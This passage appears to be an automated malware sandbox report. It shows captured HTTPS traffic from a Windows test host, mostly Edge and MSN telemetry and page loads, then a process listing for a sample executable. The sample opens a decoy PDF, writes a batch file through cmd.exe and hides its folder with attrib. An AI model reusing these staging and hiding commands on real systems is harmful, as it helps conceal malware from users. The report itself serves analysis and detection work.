2025-01-08 15:19:40 UTC	9241	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 33 38 2e 39 34 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:38.941Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":23,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8a56ec50b0d941ad9c401a86c0ed6456&HASH=8a56&LV=202501&V=4&LU=1736349580590; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c10aaad2f3ff45e081159e432e3e50c5; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1649 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.11.20	60666	23.220.206.35	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:51 UTC	419	OUT	OPTIONS /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Origin: https://assets.msn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:19:51 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Wed, 08 Jan 2025 15:19:51 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.4e09d817.1736349591.12728822 Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.11.20	54552	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:20:07 UTC	1577	OUT	GET /edge/ntp?locale=en-US&title=New%20tab&fre=1&dsp=1&sp=Bing&prerender=1&firstlaunch=1 HTTP/1.1 Host: ntp.msn.com Connection: keep-alive device-memory: 8 rtt: 200 downlink: 10 ect: 4g sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "94.0.992.31" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Service-Worker-Navigation-Preload: true Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; msnup=; msaoptout=0
2025-01-08 15:20:07 UTC	8410	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 54071 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket_restored=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: USRLOC=; expires=Fri, 08 Jan 2027 15:20:07 GMT; domain=.msn.com; path=/; secure; samesite=none; httponly Set-Cookie: _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 677e97a7cf334336989b3b2ca1968322\|AFD:22DEE0B4B1104629B4C2733364FA57CF\|2025-01-08T15:20:07.813Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 22DEE0B4B1104629B4C2733364FA57CF Ref B: CHI30EDGE0110 Ref C: 2025-01-08T15:20:07Z Date: Wed, 08 Jan 2025 15:20:06 GMT Connection: close
2025-01-08 15:20:07 UTC	9	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 Data Ascii: <!DOCTYPE
2025-01-08 15:20:07 UTC	689	IN	Data Raw: 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 66 69 6e 2d 63 6f 6d 70 6f 66 2c 70 72 67 2d 66 69 6e 2d 68 70 6f 66 6c 69 6f 2c 70 72 67 2d 66 69 6e 2d 70 6f 66 6c 69 6f 2c 70 72 67 2d 31 73 77 2d 63 63 2d 63 61 6c 66 65 65 64 69 63 2c 70 6e 70 77 78 65 78 70 69 72 65 39 30 2c 62 69 6e 67 5f 76 32 5f 73 63 6f 70 65 2c 70 72 67 2d 31 73 77 2d 73 61 6e 74 66 2d 6c 6e 72 6d 63 2c 70 72 67 2d 31 73 77 2d 73 61 71 6f 6f 6d 61 6e 6e 34 74 32 2c 70 72 67 2d 31 73 77 2d 73 61 67 65 69 6d 63 6f 75 6e 74 63 2c 70 72 67 2d 31 73 77 2d 73 Data Ascii: html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,pnpwxexpire90,bing_v2_scope,prg-1sw-santf-lnrmc,prg-1sw-saqoomann4t2,prg-1sw-sageimcountc,prg-1sw-s
2025-01-08 15:20:07 UTC	436	IN	Data Raw: 72 67 2d 31 73 77 2d 63 6d 65 76 6c 74 2c 70 72 67 2d 70 32 2d 74 66 2d 62 64 67 70 76 2d 61 69 2c 70 72 67 2d 70 72 32 2d 66 69 65 70 6c 63 2c 70 72 67 2d 70 72 32 2d 74 72 66 2d 72 68 69 67 68 69 6d 70 2c 70 72 67 2d 70 72 32 2d 77 78 65 76 6f 6c 6e 6f 74 69 2c 70 72 67 2d 75 70 73 61 69 70 2d 77 31 2d 74 2c 70 72 67 2d 31 73 77 2d 73 61 67 65 72 76 75 6e 69 32 61 2c 70 72 67 2d 72 65 76 69 2d 6e 6f 63 61 63 68 65 2c 31 73 2d 72 70 73 73 65 63 61 75 74 68 74 2c 6a 6a 5f 66 61 63 5f 63 2c 70 72 67 2d 70 72 32 2d 63 6d 75 69 64 73 79 6e 63 2c 63 68 61 74 6e 5f 76 32 5f 74 32 2c 70 72 67 2d 70 72 31 2d 75 63 2d 74 2c 31 73 2d 70 31 2d 70 72 6f 6d 6f 74 65 64 6f 6e 64 6d 64 2c 31 73 2d 70 31 2d 75 61 34 6f 73 76 68 77 2c 31 73 2d 77 70 6f 2d 70 72 31 2d 70 Data Ascii: rg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,prg-1sw-sagervuni2a,prg-revi-nocache,1s-rpssecautht,jj_fac_c,prg-pr2-cmuidsync,chatn_v2_t2,prg-pr1-uc-t,1s-p1-promotedondmd,1s-p1-ua4osvhw,1s-wpo-pr1-p
2025-01-08 15:20:07 UTC	4096	IN	Data Raw: 68 70 2d 72 63 2d 74 74 2d 75 32 63 63 2c 70 72 67 2d 73 68 2d 66 72 6e 72 2c 70 72 67 2d 77 78 2d 64 68 67 72 64 2d 63 2c 70 72 67 2d 73 68 2d 64 65 61 6c 73 64 61 79 70 64 70 2c 70 72 67 2d 73 68 2d 72 6d 69 74 6d 6c 6e 6b 2d 63 2c 6e 6f 70 69 6e 67 6c 61 6e 63 65 63 61 72 64 69 74 2c 70 72 67 2d 63 67 2d 69 6e 67 61 6d 65 73 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 63 67 2d 69 6e 2d 67 6d 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 31 73 2d 77 6f 72 6b 69 64 2c 70 72 67 2d 31 73 77 2d 63 6c 61 72 69 2c 70 72 67 2d 31 73 77 2d 70 72 32 63 6c 61 72 69 74 79 2c 31 73 2d 74 65 6d 70 2d 77 69 64 2d 74 2c 70 72 67 2d 31 73 2d 74 77 69 64 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2d 74 2c 61 64 73 2d 6e 6f 70 6f 73 74 73 71 2c 31 73 2d 75 61 73 64 69 73 66 2d 74 2c 61 64 73 Data Ascii: hp-rc-tt-u2cc,prg-sh-frnr,prg-wx-dhgrd-c,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,prg-1sw-clari,prg-1sw-pr2clarity,1s-temp-wid-t,prg-1s-twid,ads-nopostsq-t,ads-nopostsq,1s-uasdisf-t,ads
2025-01-08 15:20:07 UTC	4096	IN	Data Raw: 75 6f 74 3b 69 70 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 38 35 2e 32 34 36 2e 32 30 39 2e 30 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 74 69 65 72 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 63 6f 75 6e 74 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 63 6f 75 6e 74 72 79 6e 61 6d 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 6e 69 74 65 64 20 53 74 61 74 65 73 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 73 75 62 64 69 76 69 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 49 6c 6c 69 6e 6f 69 73 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 67 65 6f 5f 7a 69 70 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 36 30 36 30 35 26 71 75 6f 74 3b Data Ascii: uot;ip":"185.246.209.0", "tier":"p"}, "geo_country":"US", "geo_countryname":"United States", "geo_subdivision":"Illinois", "geo_zip":"60605"
2025-01-08 15:20:07 UTC	4096	IN	Data Raw: 30 21 3d 3d 6e 26 26 76 6f 69 64 20 30 21 3d 3d 6e 2e 74 75 29 7b 63 6f 6e 73 74 20 65 3d 6e 2e 74 75 3b 6e 2e 74 75 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 29 72 65 74 75 72 6e 20 65 3b 63 6f 6e 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 69 66 28 21 28 74 2e 69 6e 64 65 78 4f 66 28 22 6e 74 70 2d 61 66 64 68 33 74 22 29 3e 3d 30 7c 7c 74 2e 69 6e 64 65 78 4f 66 28 22 6e 74 70 2d 61 66 64 68 33 63 22 29 3e 3d 30 29 29 72 65 74 75 72 6e 20 65 3b 63 6f 6e Data Ascii: 0!==n&&void 0!==n.tu){const e=n.tu;n.tu=function(t){return e(function(e){if("string"!=typeof e\|\|"undefined"==typeof document)return e;const t=document.head.getAttribute("data-info");if(!(t.indexOf("ntp-afdh3t")>=0\|\|t.indexOf("ntp-afdh3c")>=0))return e;con
2025-01-08 15:20:08 UTC	4096	IN	Data Raw: 2c 70 61 67 65 47 65 6e 54 69 6d 65 3a 6e 7d 3d 65 2c 6f 3d 6e 65 77 20 44 61 74 65 28 6e 29 2e 67 65 74 54 69 6d 65 28 29 2c 69 3d 21 74 7c 7c 5b 22 70 72 6f 64 22 2c 22 70 72 6f 64 2d 73 73 72 22 2c 22 70 72 6f 64 2d 73 73 72 6e 74 70 22 5d 2e 69 6e 63 6c 75 64 65 73 28 74 2e 65 6e 76 29 3b 46 3d 69 3f 22 62 72 6f 77 73 65 72 2e 65 76 65 6e 74 73 2e 64 61 74 61 2e 6d 73 6e 2e 63 6f 6d 22 3a 22 65 76 65 6e 74 73 2d 73 61 6e 64 62 6f 78 2e 64 61 74 61 2e 6d 73 6e 2e 63 6f 6d 22 3b 72 65 74 75 72 6e 7b 63 6f 72 73 3a 22 74 72 75 65 22 2c 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 73 6f 6e 2d 73 74 72 65 61 6d 22 2c 22 63 6c 69 65 6e 74 2d 69 64 22 3a 22 4e 4f 5f 41 55 54 48 22 2c 22 63 6c 69 65 6e 74 2d 76 Data Ascii: ,pageGenTime:n}=e,o=new Date(n).getTime(),i=!t\|\|["prod","prod-ssr","prod-ssrntp"].includes(t.env);F=i?"browser.events.data.msn.com":"events-sandbox.data.msn.com";return{cors:"true","content-type":"application/x-json-stream","client-id":"NO_AUTH","client-v
2025-01-08 15:20:08 UTC	4096	IN	Data Raw: 72 63 68 29 3b 56 7c 7c 28 56 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 29 3b 72 65 74 75 72 6e 20 56 7d 63 6f 6e 73 74 20 4b 3d 32 32 33 33 30 30 2c 7a 3d 32 32 33 33 30 31 3b 66 75 6e 63 74 69 6f 6e 20 58 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 6f 28 74 29 3b 69 66 28 6e 29 7b 63 6f 6e 73 74 20 74 3d 6e 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 65 29 2c 6f 3d 74 26 26 74 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 20 74 26 26 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 23 65 72 72 6f 72 22 21 3d 3d 6f 3f 74 3a 28 48 28 22 55 52 4c 20 69 73 20 6e 6f 74 20 74 Data Ascii: rch);V\|\|(V=new URLSearchParams(null===(t=window)\|\|void 0===t?void 0:t.location.search));return V}const K=223300,z=223301;function X(e,t){const n=o(t);if(n){const t=n.createScriptURL(e),o=t&&t.toString();return t&&"about:blank#error"!==o?t:(H("URL is not t
2025-01-08 15:20:08 UTC	4096	IN	Data Raw: 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 22 2c 22 77 69 6e 70 32 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 22 2c 22 77 69 6e 70 32 66 70 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 65 6e 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 65 6e 74 22 5d 29 3b 63 6f 6e 73 74 20 41 65 3d 6e 65 77 20 53 65 74 28 5b 22 66 69 6e 61 6e 63 65 2d 61 70 70 2d 77 69 6e 22 2c 22 77 65 61 74 68 65 72 2d Data Ascii: taskbarent","winp2juntaskbar","winp2juntaskbarent","winp2","winp2ent","winp2fp","winp2fpent","winp2fptaskbar","winp2fptaskbarent","winp2fptaskbarhover","winp2fptaskbarhoverent","winp2widget","winp2widgetent"]);const Ae=new Set(["finance-app-win","weather-
2025-01-08 15:20:08 UTC	4096	IN	Data Raw: 74 22 29 26 26 65 26 26 22 31 22 3d 3d 3d 65 2e 67 65 74 49 74 65 6d 28 59 65 29 26 26 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 64 61 74 61 73 65 74 2e 63 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 7c 7c 22 22 2c 7b 62 72 6f 77 73 65 72 3a 74 7d 3d 61 65 28 65 29 7c 7c 7b 7d 2c 7b 62 72 6f 77 73 65 72 54 79 70 65 3a 6e 3d 22 22 7d 3d 74 7c 7c 7b 7d 3b 72 65 74 75 72 6e 21 21 2f 73 61 66 61 72 69 2f 69 2e 74 65 73 74 28 6e 29 7d 28 29 3b 72 65 74 75 72 6e 20 74 7d 29 29 3b 63 6f 6e 73 74 20 69 74 3d 75 28 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6a 65 28 29 3b 72 65 74 75 72 6e 20 65 26 26 22 31 22 3d 3d 3d 65 2e 67 65 74 49 74 65 6d 28 5a 65 29 7d 29 29 3b 63 6f 6e 73 74 20 72 74 3d 78 65 28 29 7c 7c Data Ascii: t")&&e&&"1"===e.getItem(Ye)&&function(){const e=document.head.dataset.clientSettings\|\|"",{browser:t}=ae(e)\|\|{},{browserType:n=""}=t\|\|{};return!!/safari/i.test(n)}();return t}));const it=u((()=>{const e=je();return e&&"1"===e.getItem(Ze)}));const rt=xe()\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.11.20	52029	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:20:09 UTC	1864	OUT	GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; pglt-edgeChromium-ntp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; msnup=; msaoptout=0 If-None-Match: 0x8DD2F7597EC52F4 If-Modified-Since: Tue, 07 Jan 2025 23:47:06 GMT
2025-01-08 15:20:10 UTC	1243	IN	HTTP/1.1 304 Not Modified Cache-Control: no-cache Content-Type: application/javascript Last-Modified: Tue, 07 Jan 2025 23:47:06 GMT ETag: 0x8DD2F7597EC52F4 Vary: Origin Akamai-Request-BC: [a=23.48.98.208,b=1191290821,c=g,n=US_IL_ELKGROVEVILLAGE,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.48.98.208 Akamai-Request-ID: 4701a7c5 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Service-Worker-Allowed: / report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.d0623017.1736349610.4701a7c5 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: BA5546EB82804712801ED0EA51803867 Ref B: CHI30EDGE0112 Ref C: 2025-01-08T15:20:10Z Date: Wed, 08 Jan 2025 15:20:10 GMT Connection: close

Target ID:	0
Start time:	10:17:59
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\eqRHH2whJu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\eqRHH2whJu.exe"
Imagebase:	0x400000
File size:	956'418 bytes
MD5 hash:	685F86F41DB34F2EC805449037AA32C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:18:00
Start date:	08/01/2025
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"
Imagebase:	0x70000
File size:	3'014'368 bytes
MD5 hash:	6791EAE6124B58F201B32F1F6C3EC1B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:18:00
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\
Imagebase:	0xd10000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:18:00
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\attrib.exe" +s +h C:\Intel
Imagebase:	0x5f0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:18:01
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70a170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:18:01
Start date:	08/01/2025
